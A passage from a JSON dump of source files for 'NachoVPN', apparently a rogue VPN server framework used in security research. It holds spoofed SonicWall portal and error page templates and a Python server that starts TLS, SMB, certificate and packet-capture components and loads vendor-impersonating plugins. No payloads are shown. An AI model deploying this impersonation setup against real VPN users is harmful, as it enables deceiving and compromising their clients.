value=\"0\">\n\t\t\t\t\t\t\t<input type=\"hidden\" name='portalname' value=\"VirtualOffice\">\n\t\t\t\t\t\t</form>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div id='otpContainer'>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div id='rsaContainer'>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div id='changePwContainer'>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div id='radiusChallengeContainer'>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div id='pdaContainer'>\n\n\t\t\t\t\t</div>\n\t\t\t\t\t<div id='epcValidateContainer'>\n\n\t\t\t\t\t</div>\n\n\t\t\t\t\t<div style=\"text-align: center;\">\n\t\t\t\t\t\t<a href=\"javascript:useContemporaryUI();\">Contemporary Mode</a>\n\t\t\t\t\t</div>\n\n\t\t\t\t</div>\n\n\t\t\t</div>\n\t\t</div>\n\n\n\n\n\n\t<script type='text/javascript'>\n\t\tshowLoginBoxFields(document.Login.domain.selectedIndex);\n\t</script>\n\n\t<script type=\"text/javascript\">\n\t\tSWL_LOGIN.loginTokenInsert({tagId: \"loginToken\", tagVal: \"\"});\n\t</script>\n\n    <div id=\"legcyUIWarning\" class=\"bottom-bar-container\" style=\"display:none\">\n        <table id=\"bottom-bar-table\">\n            <tr>\n                <td id=\"bottom-bar-message-td\">\n                    <div class=\"bottom-bar-message\">\n                        <p id=\"bottom-bar-message-p\">\n                        This legacy SMA UI will deprecated in next release. Contemporary UI is recommended.\n                        </p>\n                    </div>\n                </td>\n                <td id=\"bottom-bar-buttons-td\">\n                    <div class=\"bottom-bar-buttons\">\n                        <input id=\"bottom-bar-button-1\" type=\"button\" value=\"Don't show again\" onclick=\"hideLegcyUIWarning()\" />\n                        <input id=\"bottom-bar-button-3\" type=\"button\" value=\"Close\" onclick=\"closeLegcyUIWarning()\" />\n                    </div>\n                </td>\n            </tr>\n        </table>\n    </div>\n</body></html>\n"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/templates/wxacneg.html",
    "content": "<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=UTF-8\">\n<title>Page Not Found</title>\n<meta http-equiv=\"pragma\" content=\"no-cache\">\n<meta http-equiv=\"cache-control\" content=\"no-cache\">\n<meta http-equiv=\"cache-control\" content=\"must-revalidate\">\n<script src=\"/js/portalframe.10.2.1.7-50sv.js\"></script>\n<link href=\"/themes/styleblueblackgrey.10.2.1.7-50sv.css\" rel=\"stylesheet\" type=\"text/css\">\n</head>\n<body class=loginbody leftmargin=0 topmargin=0 marginwidth=0 marginheight=0>\n<center>\n<img src=\"/images/shim.gif\" height=100 width=8><BR>\n<table width=430 border=0 margin=0 cellpadding=0 cellspacing=0>\n<tr>\n<td width=430>\n<font class=loginError><B>Error:</b></font>\n<font class=toolbar> The page you are trying to access is not available.</font>\n<a href=\"JavaScript:history.back();\" onMouseOver=\"window.status='Back'; return true\" onMouseOut=\"window.status='';\"><font class=toolbar style=\"color:#0106ee; onMouseOver=\"JavaScript:window.status='Back';\"><u> Click here</u></font></a> <font class=toolbar>to go back.</font>\n</td>\n</tr>\n</table>\n</center>\n"
  },
  {
    "path": "src/nachovpn/server.py",
    "content": "from nachovpn.core.request_handler import VPNStreamRequestHandler\nfrom nachovpn.core.plugin_manager import PluginManager\nfrom nachovpn.core.cert_manager import CertManager\nfrom nachovpn.core.db_manager import DBManager\nfrom nachovpn.plugins import VPNPlugin\nfrom nachovpn.core.packet_handler import PacketHandler\nfrom nachovpn.core.smb_manager import SMBManager\n\nimport nachovpn.plugins\nimport logging\nimport inspect\nimport socket\nimport socketserver\nimport os\nimport sys\nimport threading\nimport asyncio\nimport argparse\n\nlogging.basicConfig(\n    level=logging.INFO,\n    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s - [%(module)s.%(funcName)s]'\n)\n\nclass ThreadedVPNServer(socketserver.ThreadingTCPServer):\n    def __init__(self, server_address, RequestHandlerClass, cert_manager, plugin_manager, use_tls=True):\n        self.cert_manager = cert_manager\n        self.plugin_manager = plugin_manager\n        super().__init__(server_address, RequestHandlerClass)\n        if use_tls:\n            self.socket = cert_manager.ssl_context.wrap_socket(self.socket, server_side=True)\n\nclass VPNServer:\n    def __init__(self, host='0.0.0.0', port=443, tls=True, cert_dir=os.path.join(os.getcwd(), 'certs')):\n        self.host = host\n        self.port = port\n        self.tls = tls\n\n        # Setup certificates\n        self.cert_manager = CertManager(cert_dir)\n        self.cert_manager.setup()\n\n        # Initialize database\n        self.db_manager = DBManager()\n\n        # Start SMB server\n        self.smb_manager = SMBManager()\n\n        # Setup plugin manager with cert hash\n        self.plugin_manager = PluginManager()\n\n        # Common plugin kwargs\n        plugin_kwargs = {\n            'write_pcap': os.getenv(\"WRITE_PCAP\", False),\n            'cert_manager': self.cert_manager,\n            'external_ip': os.getenv('EXTERNAL_IP', socket.gethostbyname(socket.gethostname())),\n            'dns_name': os.getenv('SERVER_FQDN') or os.getenv('WEBSITE_HOSTNAME', socket.gethostname()),\n            'db_manager': self.db_manager,\n        }\n\n        # Create PacketHandler\n        self.packet_handler = PacketHandler(write_pcap=plugin_kwargs['write_pcap'])\n        plugin_kwargs['packet_handler'] = self.packet_handler\n        self.plugin_manager.packet_handler = self.packet_handler\n\n        # Register plugins\n        for name, plugin in inspect.getmembers(nachovpn.plugins, inspect.isclass):\n            if issubclass(plugin, VPNPlugin) and plugin != VPNPlugin:\n                self.plugin_manager.register_plugin(plugin, **plugin_kwargs)\n\n        # Allow reuse of the address\n        socketserver.ThreadingTCPServer.allow_reuse_address = True\n\n        # Set packet handler\n        self._packet_handler_thread = None\n        self._packet_handler_loop = None\n\n    def _start_packet_handler(self):\n        def run():\n            loop = asyncio.new_event_loop()\n            asyncio.set_event_loop(loop)\n            self._packet_handler_loop = loop\n            loop.run_until_complete(self.packet_handler.start())\n            loop.run_forever()\n\n        self._packet_handler_thread = threading.Thread(target=run, daemon=True)\n        self._packet_handler_thread.start()\n\n    def _stop_packet_handler(self):\n        if self._packet_handler_loop:\n            self._packet_handler_loop.call_soon_threadsafe(self._packet_handler_loop.stop)\n        if self._packet_handler_thread:\n            self._packet_handler_thread.join(timeout=5)\n\n    def run(self):\n        # Start PacketHandler\n        self._start_packet_handler()\n        try:\n            with ThreadedVPNServer(\n                (self.host, self.port),\n                VPNStreamRequestHandler,\n                self.cert_manager,\n                self.plugin_manager,\n                self.tls\n            ) as server:\n                logging.info(f\"Server listening on {self.host}:{self.port}\")\n                server.serve_forever()\n        finally:\n            self._stop_packet_handler()\n\ndef main():\n    parser = argparse.ArgumentParser(description='NachoVPN Server')\n    parser.add_argument('--port', type=int, default=443, help='Port to listen on (default: 443)')\n    parser.add_argument('--no-tls', dest='tls', action='store_false', help='Disable TLS encryption (default: enabled)')\n    parser.add_argument('--host', default='0.0.0.0', help='Host to bind to (default: 0.0.0.0)')\n    parser.add_argument('--cert-dir', default=os.path.join(os.getcwd(), 'certs'), help='Certificate directory (default: ./certs)')\n    parser.add_argument('-d', '--debug', action='store_true', help='Enable debug logging')\n    parser.add_argument('-q', '--quiet', action='store_true', help='Enable quiet logging (warnings only)')\n\n    args = parser.parse_args()\n\n    # Set log level\n    log_level = logging.INFO\n    if args.debug:\n        log_level = logging.DEBUG\n    elif args.quiet:\n        log_level = logging.WARNING\n\n    logging.getLogger().setLevel(log_level)\n\n    server = VPNServer(host=args.host, port=args.port, tls=args.tls, cert_dir=args.cert_dir)\n    try:\n        server.run()\n    except KeyboardInterrupt:\n        logging.info(\"\\nShutting down...\")\n\nif __name__ == '__main__':\n    main()"
  }
]